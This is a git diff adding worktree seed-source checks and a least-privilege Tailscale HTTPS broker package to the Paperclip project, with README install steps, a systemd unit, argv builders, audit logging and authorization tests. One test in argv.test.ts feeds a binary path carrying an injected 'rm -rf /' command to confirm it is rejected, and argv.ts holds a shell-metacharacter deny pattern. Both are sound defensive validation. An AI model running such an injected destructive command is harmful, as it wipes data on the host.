+  const canonicalSourceConfigPath = canonicalRegularFile(selectedPath, "Registered source Paperclip config");
+  if (registeredConfigPath && canonicalSourceConfigPath !== registeredConfigPath) {
+    throw new Error("Registered source Paperclip config escapes the base project workspace or uses a symlink alias.");
+  }
+
+  if (explicitSource) {
+    const canonicalExplicitSource = canonicalRegularFile(explicitSource, "Explicit source Paperclip config");
+    if (canonicalExplicitSource !== canonicalSourceConfigPath) {
+      throw new Error("Explicit source Paperclip config does not match the registered base project workspace.");
+    }
+  }
+
+  const canonicalTargetConfigPath = canonicalRegularFile(
+    input.targetConfigPath,
+    "Target worktree Paperclip config",
+  );
+  if (canonicalSourceConfigPath === canonicalTargetConfigPath) {
+    throw new Error("Source and target Paperclip configs are the same canonical file.");
+  }
+
+  const sourceInstanceId = readInstanceId(canonicalSourceConfigPath, "source");
+  const targetInstanceId = readInstanceId(canonicalTargetConfigPath, "target");
+  if (targetInstanceId !== input.expectedTargetInstanceId) {
+    throw new Error("Target Paperclip instance does not match the registered worktree instance.");
+  }
+  if (sourceInstanceId === targetInstanceId) {
+    throw new Error("Source and target Paperclip configs name the same instance.");
+  }
+
+  return {
+    baseWorkspaceCwd: canonicalBaseCwd,
+    configPath: canonicalSourceConfigPath,
+    instanceId: sourceInstanceId,
+    targetConfigPath: canonicalTargetConfigPath,
+    targetInstanceId,
+  };
+}
+
+/**
+ * Resolve a worktree seed source without granting authority to the seed manifest.
+ *
+ * A managed caller supplies the project-workspace cwd from its server-owned row.
+ * An operator may instead supply an explicit source config. A base workspace that
+ * carries its own `.paperclip/config.json` stays authoritative, so an explicit path
+ * must equal it; a base workspace that is a plain checkout has none, and the explicit
+ * path supplies the source. Manifest source fields are diagnostic assertions only and
+ * never select the returned source.
+ */
+export function resolveCanonicalWorktreeSeedSource(input: RegisteredWorktreeSeedSourceInput & {
+  manifestSource: WorktreeSeedSourceDiagnostic | null | undefined;
+  manifestTargetInstanceId?: unknown;
+}): CanonicalWorktreeSeedSource {
+  const registered = resolveRegisteredWorktreeSeedSource(input);
+  const diagnosticPath = typeof input.manifestSource?.configPath === "string"
+    ? input.manifestSource.configPath.trim()
+    : "";
+  if (!diagnosticPath) {
+    throw new Error("Worktree seed manifest is missing source path diagnostics.");
+  }
+  const canonicalDiagnosticPath = canonicalRegularFile(
+    diagnosticPath,
+    "Worktree seed manifest source diagnostic",
+  );
+  if (path.resolve(diagnosticPath) !== registered.configPath || canonicalDiagnosticPath !== registered.configPath) {
+    throw new Error("Worktree seed manifest source path does not match the registered canonical source.");
+  }
+  if (input.manifestSource?.instanceId !== registered.instanceId) {
+    throw new Error("Worktree seed manifest source instance does not match the registered source instance.");
+  }
+  if (input.manifestTargetInstanceId !== registered.targetInstanceId) {
+    throw new Error("Worktree seed manifest target instance does not match the registered target instance.");
+  }
+  return registered;
+}
diff --git a/packages/skills-catalog/package.json b/packages/skills-catalog/package.json
index 1e84534fa96..af5ad7c28ad 100644
--- a/packages/skills-catalog/package.json
+++ b/packages/skills-catalog/package.json
@@ -52,6 +52,9 @@
     "@paperclipai/shared": "workspace:*"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1"
+    "@types/node": "^24.0.0"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/tailscale-https-broker/README.md b/packages/tailscale-https-broker/README.md
new file mode 100644
index 00000000000..51ab1d9e47a
--- /dev/null
+++ b/packages/tailscale-https-broker/README.md
@@ -0,0 +1,249 @@
+# Paperclip Tailscale HTTPS broker
+
+Least-privilege host broker that manages **only** Paperclip-owned, tailnet-only,
+same-number HTTPS-to-loopback listeners for managed branch runtimes.
+
+It exists so the Paperclip app/agent account never gains Tailscale operator
+authority (see [PAP-16989](../../)) while still getting automatic trusted HTTPS
+previews per branch runtime. Design: [PAP-17049](../../) plan; security contract:
+[PAP-17050](../../) threat-model verdict.
+
+Runtime services opt in explicitly; existing services and the primary `:443`
+route are unchanged:
+
+```json
+{
+  "port": { "type": "auto", "envKey": "PORT" },
+  "expose": {
+    "type": "tailscale_https",
+    "hostname": "auto",
+    "publicPort": "same",
+    "includePaperclipViteHmr": true,
+    "failurePolicy": "fail_closed"
+  }
+}
+```
+
+## What it can and cannot do
+
+Supported operations (over a Unix socket, one runtime-service at a time):
+
+- `list` — the caller's own exposures (never returns lease handles).
+- `reserve` — atomically reserve an app/HMR pair before either backend binds,
+  returning an unguessable, short-lived lease handle bound to the caller,
+  runtime ID, ports, purposes, and generation.
+- `expose` — redeem that reservation only after `/proc` proves both listeners
+  are loopback-only and owned by the configured managed-runtime UID.
+- `remove` — remove the caller's own listeners, proven by exact lease handle.
+
+Hard-denied, deny-by-default: Funnel, certificates, Tailscale Services,
+`serve reset` / `set-config`, path handlers, arbitrary targets, non-loopback or
+wildcard/dual-stack backends, port `443`, privileged/reserved ports, ports
+outside the dedicated runtime range, unknown fields, and removal of any mapping
+not matching an exact registry + lease + live Serve entry. The primary
+`:443 → 127.0.0.1:3100` route is verified structurally **before and after every
+mutation** and is never modified.
+
+The socket transport reads Linux `SO_PEERCRED` before admission, admits at most
+8 concurrent sockets per resolved UID, and reserves 4 of its 32 global slots
+for the configured Paperclip service UID. Connection deadlines destroy the
+socket so timed-out peers cannot retain kernel-level connection slots. Missing
+or invalid native credentials fail closed; socket permissions are not used as
+a substitute identity.
+
+## One-time host installation (`paperclip-dev`)
+
+These steps require **root** and must be run by CloudOps/host owner, not the
+Paperclip agent account. They install the broker as a dedicated
+Tailscale-operator service account distinct from the Paperclip app account.
+
+1. **Preconditions.** Tailscale is installed and up on the node, the node has an
+   HTTPS-capable trusted cert (MagicDNS + HTTPS enabled), and the existing
+   `:443 → 127.0.0.1:3100` Serve mapping is present.
+
+2. **Create the dedicated operator account and socket group.**
+
+   ```sh
+   sudo useradd --system --home /var/lib/paperclip-tailscale-broker \
+     --shell /usr/sbin/nologin paperclip-tsbroker
+   sudo groupadd --system paperclip-tsbroker-sock
+   # The Paperclip *app* service account must have this as its PRIMARY group so
+   # its SO_PEERCRED gid matches the socket group (supplemental membership is
+   # intentionally NOT accepted).
+   sudo usermod -g paperclip-tsbroker-sock <paperclip-app-account>
+   ```
+
+3. **Grant Tailscale operator authority to the broker account only.**
+
+   ```sh
+   sudo tailscale set --operator=paperclip-tsbroker
+   ```
+
+   Do **not** grant `--operator` to the Paperclip app/agent account (that grant
+   was explicitly rejected in PAP-16989).
+
+4. **Create state directories (not writable by the Paperclip app).** The
+   packaged unit creates these automatically; for a manual install use:
+
+   ```sh
+   sudo install -d -o paperclip-tsbroker -g paperclip-tsbroker-sock -m 0750 /run/paperclip-tailscale-broker
+   sudo install -d -o paperclip-tsbroker -g paperclip-tsbroker-sock -m 0700 /var/lib/paperclip-tailscale-broker
+   sudo install -d -o paperclip-tsbroker -g paperclip-tsbroker-sock -m 0700 /var/log/paperclip-tailscale-broker
+   ```
+
+   The broker refuses to start if the registry path's parent is group/other
+   writable.
+
+5. **Build, install the package under `/opt/paperclip`, and install the
+   packaged systemd unit.** The unit's `ExecStart` (and the doctor command
+   below) run the build output from
+   `/opt/paperclip/packages/tailscale-https-broker/dist`, so copy it there
+   explicitly. The Linux build requires a C compiler and Node.js headers to
+   compile the dependency-free N-API `SO_PEERCRED` addon. The output is
+   self-contained (Node builtins plus the compiled addon; no `node_modules`
+   needed).
+
+   ```sh
+   pnpm --filter @paperclipai/tailscale-https-broker build
+   sudo install -d -m 0755 /opt/paperclip/packages/tailscale-https-broker
+   sudo cp -r packages/tailscale-https-broker/dist \
+     /opt/paperclip/packages/tailscale-https-broker/
+   sudo install -D -m 0644 \
+     packages/tailscale-https-broker/deploy/paperclip-tailscale-https-broker.service \
+     /etc/systemd/system/paperclip-tailscale-https-broker.service
+   sudo install -d -m 0750 /etc/paperclip
+   sudoedit /etc/paperclip/tailscale-https-broker.env
+   ```
+
+   The packaged unit is equivalent to:
+
+   ```ini
+   [Unit]
+   Description=Paperclip Tailscale HTTPS broker
+   After=tailscaled.service
+   Requires=tailscaled.service
+
+   [Service]
+   Type=simple
+   User=paperclip-tsbroker
+   # Socket must end up 0660 paperclip-tsbroker:paperclip-tsbroker-sock. Set the group here and
+   # the broker chmods the socket to 0660 on bind.
+   Group=paperclip-tsbroker-sock
+   EnvironmentFile=/etc/paperclip/tailscale-https-broker.env
+   ExecStart=/usr/bin/node /opt/paperclip/packages/tailscale-https-broker/dist/main.js
+   Restart=on-failure
+   NoNewPrivileges=true
+   ProtectSystem=strict
+   ReadWritePaths=/run/paperclip-tailscale-broker /var/lib/paperclip-tailscale-broker /var/log/paperclip-tailscale-broker
+
+   [Install]
+   WantedBy=multi-user.target
+   ```
+
+   Put the `BROKER_*` values from the table below in the environment file. Set
+   `PAPERCLIP_TAILSCALE_BROKER_SOCKET=/run/paperclip-tailscale-broker/broker.sock`
+   on the Paperclip service only if overriding its default.
+
+   Environment variables (defaults in `src/config.ts`):
+
+   | Var | Required | Default | Meaning |
+   |-----|----------|---------|---------|
+   | `BROKER_NODE_IDENTITY` | yes | — | hostname + boot id; a change forces quarantine + operator reconciliation |
+   | `BROKER_SERVICE_UID` | yes | — | UID of the Paperclip **app** account allowed to connect |
+   | `BROKER_SERVICE_GID` | yes | — | GID of the dedicated socket group (caller's primary GID) |
+   | `BROKER_RUNTIME_UID` | yes | — | UID that owns Paperclip-managed runtime processes (normally the Paperclip app service account); only its loopback listeners are eligible |
+   | `BROKER_TAILSCALE_BIN` | no | `/usr/bin/tailscale` | absolute path to the Tailscale CLI |
+   | `BROKER_SOCKET_PATH` | no | `/run/paperclip-tailscale-broker/broker.sock` | Unix socket path |
+   | `BROKER_REGISTRY_PATH` | no | `/var/lib/paperclip-tailscale-broker/registry.json` | root-owned `0600` ownership registry |
+   | `BROKER_AUDIT_PATH` | no | `/var/log/paperclip-tailscale-broker/audit.log` | append-only security audit log |
+   | `BROKER_PROTECTED_PORTS` | no | *(empty)* | comma/space separated ports the broker must **never** create, remove, or reclaim — even when its own registry holds a valid lease for them (see below) |
+
+   ### `BROKER_PROTECTED_PORTS` — operator-declared preservation (PAP-17285)
+
+   The long-standing "unknown/manual entries are never modified" invariant is
+   *provenance-blind*: it protects only entries the broker has no lease for. It
+   therefore could not protect the `42000/52000` mappings, because the broker had
+   itself created them for a canary lane that was later retired — so its registry
+   still called them owned, while operators had reclassified them as
+   must-preserve after failing to attribute them to any live lane. Both views were
+   internally consistent, they disagreed, and a fully authorized, shape-valid,
+   `:443`-preserving removal destroyed them with no guard able to object.
+
+   A protected port is an **operator assertion that outranks the broker's own
+   ownership record**. Enforcement is fail-closed and layered: refused during argv
+   construction, denied in `reserve`/`expose`/`remove` with `protected_port`,
+   excluded from the allocatable allowlist so no lane can acquire one, and
+   asserted byte-unchanged across every before/after snapshot
+   (`protected_entry_violation`). A malformed list makes the broker refuse to
+   start rather than silently protect nothing; `443` is rejected because the
+   primary route already has a stronger, non-optional invariant.
+
+   ```
+   BROKER_PROTECTED_PORTS=42000,52000
+   ```
+
+   Confirm it took effect before trusting it — `--doctor` echoes the parsed set:
+
+   ```sh
+   sudo -u paperclip-tsbroker \
+     env $(cat /etc/paperclip/tailscale-https-broker.env | xargs) \
+     node /opt/paperclip/packages/tailscale-https-broker/dist/main.js --doctor
+   ```
+
+6. **Preflight (read-only, no mutation).**
+
+   ```sh
+   sudo -u paperclip-tsbroker \
+     BROKER_NODE_IDENTITY=$(hostname) BROKER_SERVICE_UID=... BROKER_SERVICE_GID=... BROKER_RUNTIME_UID=... \
+     node /opt/paperclip/packages/tailscale-https-broker/dist/main.js --doctor
+   ```
+
+   Verifies: supported Tailscale CLI version, Serve status is readable, the
+   primary `:443` route is intact, the registry path is safe, and prints the
+   node identity. Exit 0 = ready. It never mutates Serve state.
+
+7. **Enable.** `sudo systemctl daemon-reload && sudo systemctl enable --now
+   paperclip-tailscale-https-broker`. Confirm the socket is `0660
+   paperclip-tsbroker:paperclip-tsbroker-sock`.
+
+## Upgrade
+
+Deploy new package output to
+`/opt/paperclip/packages/tailscale-https-broker/dist`, then
+`sudo systemctl restart paperclip-tailscale-https-broker`. On
+restart the broker re-reads its root-owned registry and adopts only exact-lease
+matches; a changed `BROKER_NODE_IDENTITY` (host reimage / boot-id change) forces
+quarantine and operator reconciliation rather than silently re-adopting.
+
+## Uninstall / rollback / opt-out
+
+Rollback disables new exposure and removes only broker-owned listeners; it never
+resets Serve or changes the primary route.
+
+1. Disable the exposure flag on the project runtime (Paperclip stops requesting
+   `expose`). Existing previews drain on runtime stop.
+2. Drain owned listeners: stop each managed runtime so Paperclip issues `remove`
+   for its own leases (proven by handle).
+3. `sudo systemctl disable --now paperclip-tailscale-https-broker`.
+4. Optional cleanup: remove the state dirs and `sudo tailscale set --operator=`
+   to drop the operator grant. Do **not** run `tailscale serve reset` — remove
+   only the specific per-port Serve entries if any remain.
+
+## Recovery
+
+If a mutation fails partway, the broker removes only the exact listeners it
+applied; if exact cleanup cannot be proven it quarantines the affected ports and
+reports `cleanup_pending` (partial app+HMR exposure is never reported healthy).
+Quarantined ports are not reused until an operator clears them. The append-only
+audit log at `BROKER_AUDIT_PATH` records every allow/deny and mutation outcome
+(peer UID/GID/PID, operation, runtime UUID, ports, decision reason, before/after
+state digests, quarantine/recovery) with lease handles and raw CLI output
+redacted.
+
+## Tests
+
+```sh
+pnpm --filter @paperclipai/tailscale-https-broker test        # 72 tests
+pnpm --filter @paperclipai/tailscale-https-broker typecheck
+pnpm --filter @paperclipai/tailscale-https-broker build
+```
diff --git a/packages/tailscale-https-broker/deploy/paperclip-tailscale-https-broker.service b/packages/tailscale-https-broker/deploy/paperclip-tailscale-https-broker.service
new file mode 100644
index 00000000000..3175d5e3d24
--- /dev/null
+++ b/packages/tailscale-https-broker/deploy/paperclip-tailscale-https-broker.service
@@ -0,0 +1,26 @@
+[Unit]
+Description=Paperclip Tailscale HTTPS broker
+After=tailscaled.service
+Requires=tailscaled.service
+
+[Service]
+Type=simple
+User=paperclip-tsbroker
+Group=paperclip-tsbroker-sock
+EnvironmentFile=/etc/paperclip/tailscale-https-broker.env
+ExecStart=/usr/bin/node /opt/paperclip/packages/tailscale-https-broker/dist/main.js
+Restart=on-failure
+NoNewPrivileges=true
+PrivateTmp=true
+ProtectHome=true
+ProtectSystem=strict
+RuntimeDirectory=paperclip-tailscale-broker
+RuntimeDirectoryMode=0750
+StateDirectory=paperclip-tailscale-broker
+StateDirectoryMode=0700
+LogsDirectory=paperclip-tailscale-broker
+LogsDirectoryMode=0700
+ReadWritePaths=/run/paperclip-tailscale-broker /var/lib/paperclip-tailscale-broker /var/log/paperclip-tailscale-broker
+
+[Install]
+WantedBy=multi-user.target
diff --git a/packages/tailscale-https-broker/package.json b/packages/tailscale-https-broker/package.json
new file mode 100644
index 00000000000..c20893b5d29
--- /dev/null
+++ b/packages/tailscale-https-broker/package.json
@@ -0,0 +1,28 @@
+{
+  "name": "@paperclipai/tailscale-https-broker",
+  "version": "0.1.0",
+  "private": true,
+  "license": "MIT",
+  "type": "module",
+  "description": "Least-privilege host broker that manages only Paperclip-owned, same-number Tailscale HTTPS-to-loopback listeners for managed branch runtimes.",
+  "exports": {
+    ".": "./src/index.ts",
+    "./*": "./src/*.ts"
+  },
+  "bin": {
+    "paperclip-tailscale-https-broker": "./dist/main.js"
+  },
+  "scripts": {
+    "build": "tsc && node scripts/build-native.mjs",
+    "typecheck": "tsc --noEmit",
+    "test": "node scripts/build-native.mjs && vitest run"
+  },
+  "devDependencies": {
+    "@types/node": "^24.0.0",
+    "typescript": "^5.7.3",
+    "vitest": "^4.1.10"
+  },
+  "engines": {
+    "node": ">=24.11.0"
+  }
+}
diff --git a/packages/tailscale-https-broker/scripts/build-native.mjs b/packages/tailscale-https-broker/scripts/build-native.mjs
new file mode 100644
index 00000000000..5072e88630a
--- /dev/null
+++ b/packages/tailscale-https-broker/scripts/build-native.mjs
@@ -0,0 +1,51 @@
+import { existsSync, mkdirSync } from "node:fs";
+import { dirname, join, resolve } from "node:path";
+import { spawnSync } from "node:child_process";
+import { fileURLToPath } from "node:url";
+
+if (process.platform !== "linux") {
+  process.stdout.write("[tailscale-https-broker] skipping Linux SO_PEERCRED addon build\n");
+  process.exit(0);
+}
+
+const packageRoot = resolve(dirname(fileURLToPath(import.meta.url)), "..");
+const outputDir = join(packageRoot, "dist");
+const source = join(packageRoot, "src", "peercred-native.c");
+const output = join(outputDir, "peercred-native.node");
+const nodePrefix = process.config.variables.node_prefix;
+const headerCandidates = [
+  typeof nodePrefix === "string" ? join(nodePrefix, "include", "node") : "",
+  resolve(dirname(process.execPath), "..", "include", "node"),
+  "/usr/include/node",
+  "/usr/local/include/node",
+].filter(Boolean);
+const headerDir = headerCandidates.find((candidate) => existsSync(join(candidate, "node_api.h")));
+
+if (!headerDir) {
+  throw new Error("cannot build SO_PEERCRED addon: Node.js headers were not found");
+}
+
+mkdirSync(outputDir, { recursive: true });
+const compiler = process.env.CC || "cc";
+const result = spawnSync(
+  compiler,
+  [
+    "-std=c11",
+    "-O2",
+    "-Wall",
+    "-Wextra",
+    "-Werror",
+    "-shared",
+    "-fPIC",
+    `-I${headerDir}`,
+    source,
+    "-o",
+    output,
+  ],
+  { stdio: "inherit" },
+);
+
+if (result.error) throw result.error;
+if (result.status !== 0) {
+  throw new Error(`SO_PEERCRED addon compiler exited with status ${result.status}`);
+}
diff --git a/packages/tailscale-https-broker/src/argv.test.ts b/packages/tailscale-https-broker/src/argv.test.ts
new file mode 100644
index 00000000000..26f44dd219b
--- /dev/null
+++ b/packages/tailscale-https-broker/src/argv.test.ts
@@ -0,0 +1,40 @@
+import { describe, expect, it } from "vitest";
+import { buildExposeArgv, buildRemoveArgv, buildStatusArgv } from "./argv.js";
+
+const BIN = "/usr/bin/tailscale";
+
+describe("argv construction", () => {
+  it("builds an exact status argv with no shell tokens", () => {
+    expect(buildStatusArgv(BIN)).toEqual([BIN, "serve", "status", "--json"]);
+  });
+
+  it("builds exact same-number expose/remove argv vectors", () => {
+    expect(buildExposeArgv(BIN, 42010)).toEqual([
+      BIN,
+      "serve",
+      "--bg",
+      "--https=42010",
+      "http://127.0.0.1:42010",
+    ]);
+    expect(buildRemoveArgv(BIN, 42010)).toEqual([BIN, "serve", "--https=42010", "off"]);
+  });
+
+  it("refuses the protected primary port 443 and privileged ports", () => {
+    expect(() => buildExposeArgv(BIN, 443)).toThrow(/443/);
+    expect(() => buildRemoveArgv(BIN, 443)).toThrow(/443/);
+    expect(() => buildExposeArgv(BIN, 80)).toThrow(/privileged/);
+    expect(() => buildExposeArgv(BIN, 1023)).toThrow(/privileged/);
+  });
+
+  it("refuses non-canonical ports (string, float, overflow)", () => {
+    expect(() => buildExposeArgv(BIN, "42010" as unknown as number)).toThrow();
+    expect(() => buildExposeArgv(BIN, 42010.5)).toThrow();
+    expect(() => buildExposeArgv(BIN, 70000)).toThrow();
+  });
+
+  it("refuses a non-absolute or shell-metacharacter binary path", () => {
+    expect(() => buildStatusArgv("tailscale")).toThrow(/absolute/);
+    expect(() => buildStatusArgv("/usr/bin/tailscale; rm -rf /")).toThrow();
+    expect(() => buildStatusArgv("/usr/bin/tail scale")).toThrow();
+  });
+});
diff --git a/packages/tailscale-https-broker/src/argv.ts b/packages/tailscale-https-broker/src/argv.ts
new file mode 100644
index 00000000000..b500717d647
--- /dev/null
+++ b/packages/tailscale-https-broker/src/argv.ts
@@ -0,0 +1,76 @@
+/**
+ * Tailscale CLI argv construction. Every command is a fixed token vector with a
+ * single validated integer interpolated; there is never a shell, an arbitrary
+ * target URL, a path handler, Funnel, cert, Service, reset, or set-config
+ * operation (PAP-17049 plan; PAP-17050 verdict requirement #4 + invariants).
+ *
+ * The caller must pass an absolute, root-owned tailscale binary path. Callers
+ * spawn with shell:false and a minimal environment.
+ */
+import { assertCanonicalPort } from "./integers.js";
+import { PROTECTED_PRIMARY_PORT } from "./types.js";
+
+/** The loopback target is always same-number and always plain-http loopback. */
+export function loopbackTarget(port: number): string {
+  assertCanonicalPort(port);
+  return `http://127.0.0.1:${port}`;
+}
+
+function assertMutablePort(port: number, protectedPorts: readonly number[] = []): number {
+  const p = assertCanonicalPort(port);
+  if (p === PROTECTED_PRIMARY_PORT) {
+    throw new Error("refusing to operate on the protected primary port 443");
+  }
+  if (p < 1024) {
+    throw new Error("refusing to operate on a privileged/reserved port (<1024)");
+  }
+  // Innermost refusal for operator-declared protected ports (PAP-17285). Higher
+  // layers deny first with a typed code; this exists so no caller can construct
+  // a mutating argv for a protected port even by mistake, and so the guarantee
+  // does not depend on every future call site remembering to check.
+  if (protectedPorts.includes(p)) {
+    throw new Error(`refusing to operate on operator-protected port ${p}`);
+  }
+  return p;
+}
+
+/** `tailscale serve status --json` — read-only. */
+export function buildStatusArgv(binPath: string): string[] {
+  assertAbsolute(binPath);
+  return [binPath, "serve", "status", "--json"];
+}
+
+/**
+ * Add one same-number HTTPS-to-loopback listener in the background without
+ * disturbing other Serve entries.
+ */
+export function buildExposeArgv(
+  binPath: string,
+  port: number,
+  protectedPorts: readonly number[] = [],
+): string[] {
+  assertAbsolute(binPath);
+  const p = assertMutablePort(port, protectedPorts);
+  return [binPath, "serve", "--bg", `--https=${p}`, loopbackTarget(p)];
+}
+
+/** Remove exactly one HTTPS listener by port. Never `reset`, never `off` all. */
+export function buildRemoveArgv(
+  binPath: string,
+  port: number,
+  protectedPorts: readonly number[] = [],
+): string[] {
+  assertAbsolute(binPath);
+  const p = assertMutablePort(port, protectedPorts);
+  return [binPath, "serve", `--https=${p}`, "off"];
+}
+
+function assertAbsolute(binPath: string): void {
+  if (typeof binPath !== "string" || !binPath.startsWith("/")) {
+    throw new Error("tailscale binary path must be absolute");
+  }
+  // No shell metacharacters, whitespace, or NUL in the pinned binary path.
+  if (/[\s;&|`$<>(){}\\"'*?\0]/.test(binPath)) {
+    throw new Error("tailscale binary path contains disallowed characters");
+  }
+}
diff --git a/packages/tailscale-https-broker/src/audit.ts b/packages/tailscale-https-broker/src/audit.ts
new file mode 100644
index 00000000000..f78225ccd6a
--- /dev/null
+++ b/packages/tailscale-https-broker/src/audit.ts
@@ -0,0 +1,90 @@
+/**
+ * Append-only, bounded, redacted security audit (PAP-17050 verdict req #6).
+ *
+ * Every allow/deny and mutation outcome emits one event. Lease handles,
+ * bearer/session material, full environments, and raw unbounded CLI output are
+ * NEVER logged. All string fields are control-character-sanitized and length
+ * bounded to defeat log forging.
+ */
+import { appendFileSync } from "node:fs";
+import type { BrokerErrorCode, PeerCredentials } from "./types.js";
+
+const MAX_FIELD_LEN = 256;
+
+export interface AuditEvent {
+  timestampIso: string;
+  peer: PeerCredentials | null;
+  op: string;
+  runtimeId: string | null;
+  ports: number[];
+  requestId: string | null;
+  decision: "allow" | "deny";
+  reasonCode: BrokerErrorCode | "ok";
+  reason: string;
+  beforeDigest?: string;
+  afterDigest?: string;
+  cliExitCategory?: "ok" | "error" | "timeout" | "none";
+  recovery?: "none" | "quarantine" | "cleanup";
+}
+
+/** Strip control chars (defeats newline/log-forging) and bound length. */
+export function sanitizeField(value: string): string {
+  // eslint-disable-next-line no-control-regex
+  const stripped = value.replace(/[\x00-\x1f\x7f]/g, " ");
+  return stripped.length > MAX_FIELD_LEN ? `${stripped.slice(0, MAX_FIELD_LEN)}…` : stripped;
+}
+
+export function formatAuditLine(event: AuditEvent): string {
+  const safe = {
+    ts: event.timestampIso,
+    uid: event.peer?.uid ?? null,
+    gid: event.peer?.gid ?? null,
+    pid: event.peer?.pid ?? null,
+    op: sanitizeField(event.op),
+    runtimeId: event.runtimeId ? sanitizeField(event.runtimeId) : null,
+    ports: event.ports.filter((p) => Number.isInteger(p)).slice(0, 8),
+    requestId: event.requestId ? sanitizeField(event.requestId) : null,
+    decision: event.decision,
+    reasonCode: event.reasonCode,
+    reason: sanitizeField(event.reason),
+    beforeDigest: event.beforeDigest ? sanitizeField(event.beforeDigest) : undefined,
+    afterDigest: event.afterDigest ? sanitizeField(event.afterDigest) : undefined,
+    cliExitCategory: event.cliExitCategory,
+    recovery: event.recovery,
+  };
+  return JSON.stringify(safe);
+}
+
+export interface AuditSink {
+  write(event: AuditEvent): void;
+}
+
+/**
+ * Durable file audit sink. If the recommended `blockOnFailure` is set, a write
+ * failure throws so the caller can fail the mutation closed rather than mutate
+ * without a durable record.
+ */
+export class FileAuditSink implements AuditSink {
+  constructor(
+    private readonly path: string,
+    private readonly blockOnFailure = true,
+  ) {}
+
+  write(event: AuditEvent): void {
+    try {
+      appendFileSync(this.path, `${formatAuditLine(event)}\n`, { mode: 0o600 });
+    } catch (error) {
+      if (this.blockOnFailure) {
+        throw new Error(`audit sink write failed: ${(error as Error).message}`);
+      }
+    }
+  }
+}
+
+/** In-memory sink for tests. */
+export class MemoryAuditSink implements AuditSink {
+  readonly events: AuditEvent[] = [];
+  write(event: AuditEvent): void {
+    this.events.push(event);
+  }
+}
diff --git a/packages/tailscale-https-broker/src/authorization.test.ts b/packages/tailscale-https-broker/src/authorization.test.ts
new file mode 100644
index 00000000000..d184f882579
--- /dev/null
+++ b/packages/tailscale-https-broker/src/authorization.test.ts
@@ -0,0 +1,75 @@
+import { describe, expect, it } from "vitest";
+import {
+  AuthorizationError,
+  authorizePeer,
+  authorizeRemoval,
+  generateLeaseHandle,
+  handlesEqual,
+} from "./authorization.js";
+import type { LeaseRecord } from "./types.js";
+
+const policy = {
+  allowedUids: new Set([999]),
+  allowedGids: new Set([987]),
+};
+
+describe("authorizePeer (complete mediation)", () => {
+  it("accepts the exact allowlisted identity", () => {
+    expect(() => authorizePeer({ uid: 999, gid: 987, pid: 1 }, policy)).not.toThrow();
+  });
+
+  it("rejects wrong uid, wrong gid, and missing creds", () => {
+    expect(() => authorizePeer({ uid: 1000, gid: 987, pid: 1 }, policy)).toThrow(AuthorizationError);
+    expect(() => authorizePeer({ uid: 999, gid: 100, pid: 1 }, policy)).toThrow(/gid/);
+    expect(() => authorizePeer({ uid: Number.NaN, gid: 987, pid: 1 }, policy)).toThrow();
+  });
+});
+
+describe("lease handles", () => {
+  it("generates unguessable, distinct, url-safe handles", () => {
+    const a = generateLeaseHandle();
+    const b = generateLeaseHandle();
+    expect(a).not.toBe(b);
+    expect(a).toMatch(/^[A-Za-z0-9_-]{16,}$/);
+    expect(handlesEqual(a, a)).toBe(true);
+    expect(handlesEqual(a, b)).toBe(false);
+  });
+});
+
+describe("authorizeRemoval (ownership binding)", () => {
+  const lease: LeaseRecord = {
+    handle: "handle-aaaaaaaaaaaaaaaa",
+    runtimeId: "2af79bb1-ecc5-4410-8438-091be135a921",
+    peerUid: 999,
+    peerGid: 987,
+    ports: [42010, 52010],
+    purposes: ["app", "vite_hmr"],
+    state: "exposed",
+    generation: 1,
+    createdAtIso: "2026-08-11T00:00:00.000Z",
+    expiresAtIso: null,
+  };
+  const peer = { uid: 999, gid: 987, pid: 42 };
+
+  it("authorizes an exact handle + runtime + peer match", () => {
+    expect(authorizeRemoval([lease], { runtimeId: lease.runtimeId, handle: lease.handle }, peer)).toBe(lease);
+  });
+
+  it("rejects random/stale handles", () => {
+    expect(() =>
+      authorizeRemoval([lease], { runtimeId: lease.runtimeId, handle: "random-handle-xxxxxx" }, peer),
+    ).toThrow(/invalid_handle|stale/);
+  });
+
+  it("rejects runtime A removing runtime B's lease", () => {
+    expect(() =>
+      authorizeRemoval([lease], { runtimeId: "00000000-0000-0000-0000-000000000000", handle: lease.handle }, peer),
+    ).toThrow(/runtime/);
+  });
+
+  it("rejects a wrong peer identity even with the right handle", () => {
+    expect(() =>
+      authorizeRemoval([lease], { runtimeId: lease.runtimeId, handle: lease.handle }, { uid: 1000, gid: 987, pid: 7 }),
+    ).toThrow(/peer/);
+  });
+});
diff --git a/packages/tailscale-https-broker/src/authorization.ts b/packages/tailscale-https-broker/src/authorization.ts
new file mode 100644
index 00000000000..10970afcfb6
--- /dev/null
+++ b/packages/tailscale-https-broker/src/authorization.ts
@@ -0,0 +1,87 @@
+/**
+ * Peer authorization and lease-handle ownership (PAP-17050 verdict req #1).
+ *
+ * SO_PEERCRED authenticates an OS principal; a caller-supplied runtime ID does
+ * NOT prove ownership. Authorization therefore has two layers:
+ *   1. An exact UID/GID allowlist checked with peer credentials on EVERY
+ *      accepted connection (complete mediation).
+ *   2. Ownership defined as a broker-issued, unguessable lease handle returned
+ *      by `expose` and required by `remove`, bound to peer identity, runtime
+ *      UUID, ports, and generation. `list` never returns handles.
+ */
+import { randomBytes, timingSafeEqual } from "node:crypto";
+import type { LeaseRecord, PeerCredentials } from "./types.js";
+
+export interface PeerPolicy {
+  /** Exact set of allowed peer UIDs (the Paperclip service identity). */
+  allowedUids: ReadonlySet<number>;
+  /** Exact set of allowed peer GIDs (the dedicated broker socket group). */
+  allowedGids: ReadonlySet<number>;
+}
+
+export class AuthorizationError extends Error {
+  constructor(
+    readonly code:
+      | "unauthorized_peer"
+      | "invalid_handle"
+      | "listener_ownership_mismatch",
+    message: string,
+  ) {
+    super(message);
+    this.name = "AuthorizationError";
+  }
+}
+
+/**
+ * Complete-mediation check run on every accepted connection before any request
+ * is even decoded. Throws AuthorizationError("unauthorized_peer") on any
+ * mismatch. Supplemental-group-only membership does not satisfy the GID check
+ * because peer.gid is the process's primary GID from SO_PEERCRED.
+ */
+export function authorizePeer(peer: PeerCredentials, policy: PeerPolicy): void {
+  if (!Number.isInteger(peer.uid) || !Number.isInteger(peer.gid)) {
+    throw new AuthorizationError("unauthorized_peer", "missing peer credentials");
+  }
+  if (!policy.allowedUids.has(peer.uid)) {
+    throw new AuthorizationError("unauthorized_peer", `uid ${peer.uid} not allowlisted`);
+  }
+  if (!policy.allowedGids.has(peer.gid)) {
